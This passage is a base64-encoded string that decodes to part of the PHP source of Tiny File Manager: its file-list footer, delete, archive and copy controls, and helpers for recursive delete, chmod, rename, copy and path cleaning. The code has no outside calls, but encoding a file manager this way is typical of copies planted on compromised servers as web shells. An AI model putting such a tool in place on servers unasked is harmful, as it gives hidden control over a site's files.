CAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZW5hbWUnKSA/PiIgaHJlZj0iIyIgb25jbGljaz0icmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdDb3B5VG8nKSA/Pi4uLiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmNvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGlyZWN0TGluaycpID8+IiBocmVmPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmKSA/PiIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1saW5rIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmRsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURhaWxvZyhldmVudCwgMTIxMSwgJzw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKTsgPz4nLCB0aGlzLmhyZWYpOyI+PGkgY2xhc3M9ImZhIGZhLWRvd25sb2FkIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkaWsrKzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+CiAgICAgICAgICAgICAgICA8dGZvb3Q+CiAgICAgICAgICAgICAgICAgICAgPHRyPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PiI+PGVtPjw/cGhwIGVjaG8gbG5nKCdGb2xkZXIgaXMgZW1wdHknKSA/PjwvZW0+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90Zm9vdD4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIH0gZWxzZSB7ID8+CiAgICAgICAgICAgICAgICA8dGZvb3Q+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImdyYXkiIGNvbHNwYW49Ijw/cGhwIGVjaG8gKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpID8gKEZNX1JFQURPTkxZID8gJzYnIDonNycpIDogKEZNX1JFQURPTkxZID8gJzQnIDogJzUnKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRnVsbFNpemUnKS4nOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicuZm1fZ2V0X2ZpbGVzaXplKCRhbGxfZmlsZXNfc2l6ZSkuJzwvc3Bhbj4nID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRmlsZScpLic6IDxzcGFuIGNsYXNzPSJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMCI+Jy4kbnVtX2ZpbGVzLic8L3NwYW4+JyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpLic6IDxzcGFuIGNsYXNzPSJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMCI+Jy4kbnVtX2ZvbGRlcnMuJzwvc3Bhbj4nID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGZvb3Q+CiAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgPC90YWJsZT4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS05Ij4KICAgICAgICAgICAgPHVsIGNsYXNzPSJsaXN0LWlubGluZSBmb290ZXItYWN0aW9uIj4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+IDxhIGhyZWY9IiMvc2VsZWN0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0ic2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1zcXVhcmUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NlbGVjdEFsbCcpID8+IDwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48YSBocmVmPSIjL3Vuc2VsZWN0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0idW5zZWxlY3RfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXdpbmRvdy1jbG9zZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5TZWxlY3RBbGwnKSA/PiA8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+PGEgaHJlZj0iIy9pbnZlcnQtYWxsIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIiBvbmNsaWNrPSJpbnZlcnRfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXRoLWxpc3QiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0ludmVydFNlbGVjdGlvbicpID8+IDwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJkZWxldGUiIGlkPSJhLWRlbGV0ZSIgdmFsdWU9IkRlbGV0ZSIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JykiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS10cmFzaCI+PC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9InppcCIgaWQ9ImEtemlwIiB2YWx1ZT0iemlwIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpIj4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXppcCcpLmNsaWNrKCk7IiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIj48aSBjbGFzcz0iZmEgZmEtZmlsZS1hcmNoaXZlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ1ppcCcpID8+IDwvYT48L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJ0YXIiIGlkPSJhLXRhciIgdmFsdWU9InRhciIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS10YXInKS5jbGljaygpOyIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtYXJjaGl2ZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdUYXInKSA/PiA8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImhpZGRlbiIgbmFtZT0iY29weSIgaWQ9ImEtY29weSIgdmFsdWU9IkNvcHkiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtY29weScpLmNsaWNrKCk7IiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIj48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ29weScpID8+IDwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImNvbC0zIGQtbm9uZSBkLXNtLWJsb2NrIj48YSBocmVmPSJodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iZmxvYXQtcmlnaHQgdGV4dC1tdXRlZCI+VGlueSBGaWxlIE1hbmFnZXIgPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2Rpdj4KICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPjxhIGhyZWY9Imh0dHBzOi8vdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pbyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmbG9hdC1yaWdodCB0ZXh0LW11dGVkIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PC9hPjwvZGl2PgogICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPC9kaXY+CjwvZm9ybT4KCjw/cGhwCmZtX3Nob3dfZm9vdGVyKCk7CgovLyAtLS0gRU5EIEhUTUwgLS0tCgovLyBGdW5jdGlvbnMKCi8qKgogKiBJdCBwcmludHMgdGhlIGNzcy9qcyBmaWxlcyBpbnRvIGh0bWwKICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LgogKi8KZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSkgewogICAgZ2xvYmFsICRleHRlcm5hbDsKCiAgICBpZighYXJyYXlfa2V5X2V4aXN0cygka2V5LCAkZXh0ZXJuYWwpKSB7CiAgICAgICAgLy8gdGhyb3cgbmV3IEV4Y2VwdGlvbignS2V5IG1pc3NpbmcgaW4gZXh0ZXJuYWw6ICcgLiBrZXkpOwogICAgICAgIGVjaG8gIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+IjsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgZWNobyAiJGV4dGVybmFsWyRrZXldIjsKfQoKLyoqCiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VyaWZ5CiAqIEBwYXJhbSBzdHJpbmcgJHRva2VuCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gdmVyaWZ5VG9rZW4oJHRva2VuKSAKewogICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkgeyAKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIERlbGV0ZSAgZmlsZSBvciBmb2xkZXIgKHJlY3Vyc2l2ZWx5KQogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aCkKewogICAgaWYgKGlzX2xpbmsoJHBhdGgpKSB7CiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7CiAgICB9IGVsc2VpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7CiAgICAgICAgJG9rID0gdHJ1ZTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3JkZWxldGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAoJG9rKSA/IHJtZGlyKCRwYXRoKSA6IGZhbHNlOwogICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCi8qKgogKiBSZWN1cnNpdmUgY2htb2QKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcGFyYW0gaW50ICRmaWxlbW9kZQogKiBAcGFyYW0gaW50ICRkaXJtb2RlCiAqIEByZXR1cm4gYm9vbAogKiBAdG9kbyBXaWxsIHVzZSBpbiBtYXNzIGNobW9kCiAqLwpmdW5jdGlvbiBmbV9yY2htb2QoJHBhdGgsICRmaWxlbW9kZSwgJGRpcm1vZGUpCnsKICAgIGlmIChpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgaWYgKCFjaG1vZCgkcGF0aCwgJGRpcm1vZGUpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3JjaG1vZCgkcGF0aCAuICcvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfSBlbHNlaWYgKGlzX2xpbmsoJHBhdGgpKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICByZXR1cm4gY2htb2QoJHBhdGgsICRmaWxlbW9kZSk7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCi8qKgogKiBDaGVjayB0aGUgZmlsZSBleHRlbnNpb24gd2hpY2ggaXMgYWxsb3dlZCBvciBub3QKICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICogQHJldHVybiBib29sCiAqLwpmdW5jdGlvbiBmbV9pc192YWxpZF9leHQoJGZpbGVuYW1lKQp7CiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7CgogICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKTsKICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7CgogICAgcmV0dXJuICgkaXNGaWxlQWxsb3dlZCkgPyB0cnVlIDogZmFsc2U7Cn0KCi8qKgogKiBTYWZlbHkgcmVuYW1lCiAqIEBwYXJhbSBzdHJpbmcgJG9sZAogKiBAcGFyYW0gc3RyaW5nICRuZXcKICogQHJldHVybiBib29sfG51bGwKICovCmZ1bmN0aW9uIGZtX3JlbmFtZSgkb2xkLCAkbmV3KQp7CiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTsKCiAgICBpZighaXNfZGlyKCRvbGQpKSB7CiAgICAgICAgaWYgKCEkaXNGaWxlQWxsb3dlZCkgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIHJldHVybiAoIWZpbGVfZXhpc3RzKCRuZXcpICYmIGZpbGVfZXhpc3RzKCRvbGQpKSA/IHJlbmFtZSgkb2xkLCAkbmV3KSA6IG51bGw7Cn0KCi8qKgogKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHBhcmFtIHN0cmluZyAkZGVzdAogKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlcwogKiBAcGFyYW0gYm9vbCAkZm9yY2UgQ3JlYXRlIGZvbGRlciB3aXRoIHNhbWUgbmFtZXMgaW5zdGVhZCBmaWxlCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fcmNvcHkoJHBhdGgsICRkZXN0LCAkdXBkID0gdHJ1ZSwgJGZvcmNlID0gdHJ1ZSkKewogICAgaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICBpZiAoIWZtX21rZGlyKCRkZXN0LCAkZm9yY2UpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkb2sgPSB0cnVlOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNvcHkoJHBhdGggLiAnLycgLiAkZmlsZSwgJGRlc3QgLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkb2s7CiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogU2FmZWx5IGNyZWF0ZSBmb2xkZXIKICogQHBhcmFtIHN0cmluZyAkZGlyCiAqIEBwYXJhbSBib29sICRmb3JjZQogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIGZtX21rZGlyKCRkaXIsICRmb3JjZSkKewogICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7CiAgICAgICAgaWYgKGlzX2RpcigkZGlyKSkgewogICAgICAgICAgICByZXR1cm4gJGRpcjsKICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHVubGluaygkZGlyKTsKICAgIH0KICAgIHJldHVybiBta2RpcigkZGlyLCAwNzc3LCB0cnVlKTsKfQoKLyoqCiAqIFNhZmVseSBjb3B5IGZpbGUKICogQHBhcmFtIHN0cmluZyAkZjEKICogQHBhcmFtIHN0cmluZyAkZjIKICogQHBhcmFtIGJvb2wgJHVwZCBJbmRpY2F0ZXMgaWYgZmlsZSBzaG91bGQgYmUgdXBkYXRlZCB3aXRoIG5ldyBjb250ZW50CiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fY29weSgkZjEsICRmMiwgJHVwZCkKewogICAgJHRpbWUxID0gZmlsZW10aW1lKCRmMSk7CiAgICBpZiAoZmlsZV9leGlzdHMoJGYyKSkgewogICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpOwogICAgICAgIGlmICgkdGltZTIgPj0gJHRpbWUxICYmICR1cGQpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KICAgICRvayA9IGNvcHkoJGYxLCAkZjIpOwogICAgaWYgKCRvaykgewogICAgICAgIHRvdWNoKCRmMiwgJHRpbWUxKTsKICAgIH0KICAgIHJldHVybiAkb2s7Cn0KCi8qKgogKiBHZXQgbWltZSB0eXBlCiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aAogKiBAcmV0dXJuIG1peGVkfHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKQp7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHsKICAgICAgICAkZmluZm8gPSBmaW5mb19vcGVuKEZJTEVJTkZPX01JTUVfVFlQRSk7CiAgICAgICAgJG1pbWUgPSBmaW5mb19maWxlKCRmaW5mbywgJGZpbGVfcGF0aCk7CiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTsKICAgICAgICByZXR1cm4gJG1pbWU7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtaW1lX2NvbnRlbnRfdHlwZScpKSB7CiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpOwogICAgfSBlbHNlaWYgKCFzdHJpc3RyKGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdzaGVsbF9leGVjJykpIHsKICAgICAgICAkZmlsZSA9IGVzY2FwZXNoZWxsYXJnKCRmaWxlX3BhdGgpOwogICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTsKICAgICAgICByZXR1cm4gJG1pbWU7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAnLS0nOwogICAgfQp9CgovKioKICogSFRUUCBSZWRpcmVjdAogKiBAcGFyYW0gc3RyaW5nICR1cmwKICogQHBhcmFtIGludCAkY29kZQogKi8KZnVuY3Rpb24gZm1fcmVkaXJlY3QoJHVybCwgJGNvZGUgPSAzMDIpCnsKICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsLCB0cnVlLCAkY29kZSk7CiAgICBleGl0Owp9CgovKioKICogUGF0aCB0cmF2ZXJzYWwgcHJldmVudGlvbiBhbmQgY2xlYW4gdGhlIHVybAogKiBJdCByZXBsYWNlcyAoY29uc2VjdXRpdmUpIG9jY3VycmVuY2VzIG9mIC8gYW5kIFxcIHdpdGggd2hhdGV2ZXIgaXMgaW4gRElSRUNUT1JZX1NFUEFSQVRPUiwgYW5kIHByb2Nlc3NlcyAvLiBhbmQgLy4uIGZpbmUuCiAqIEBwYXJhbSAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpIHsKICAgICRwYXRoID0gc3RyX3JlcGxhY2UoYXJyYXkoJy8nLCAnXFwnKSwgRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpOwogICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7CiAgICAkYWJzb2x1dGVzID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlOwogICAgICAgIGlmICgnLi4nID09ICRwYXJ0KSB7CiAgICAgICAgICAgIGFycmF5X3BvcCgkYWJzb2x1dGVzKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkYWJzb2x1dGVzW10gPSAkcGFydDsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gaW1wbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkYWJzb2x1dGVzKTsKfQoKLyoqCiAqIENsZWFuIHBhdGgKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fY2xlYW5fcGF0aCgkcGF0aCwgJHRyaW0gPSB0cnVlKQp7CiAgICAkcGF0aCA9ICR0cmltID8gdHJpbSgkcGF0aCkgOiAkcGF0aDsKICAgICRwYXRoID0gdHJpbSgkcGF0aCwgJ1xcLycpOwogICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi4vJywgJy4uXFwnKSwgJycsICRwYXRoKTsKICAgICRwYXRoID0gIGdldF9hYnNvbHV0ZV9wYXRoKCRwYXRoKTsKICAgIGlmICgkcGF0aCA9PSAnLi4nKSB7CiAgICAgICAgJHBhdGggPSAnJzsKICAgIH0KICAgIHJldHVybiBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsKfQoKLyoqCiAqIEdldCBwYXJlbnQgcGF0aAogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEByZXR1cm4gYm9vbHxzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aCkKewogICAgJHBhdGggPSBmbV9jbGVhbl9wYXRoKCRwYXRoKTsKICAgIGlmICgkcGF0aCAhPSAnJykgewogICAgICAgICRhcnJheSA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7CiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7CiAgICAgICAgICAgICRhcnJheSA9IGFycmF5X3NsaWNlKCRhcnJheSwgMCwgLTEpOwogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLycsICRhcnJheSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKQp7CiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7CiAgICBzd2l0Y2ggKCRwYXRoX2Rpc3BsYXlfbW9kZSkgewogICAgICAgIGNhc2UgJ3JlbGF0aXZlJzoKICAgICAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnUGF0aCcsCiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKHN0cl9yZXBsYWNlKCRyb290X3BhdGgsICcnLCAkZmlsZV9wYXRoKSkpCiAgICAgICAgICAgICk7CiAgICAgICAgY2Fz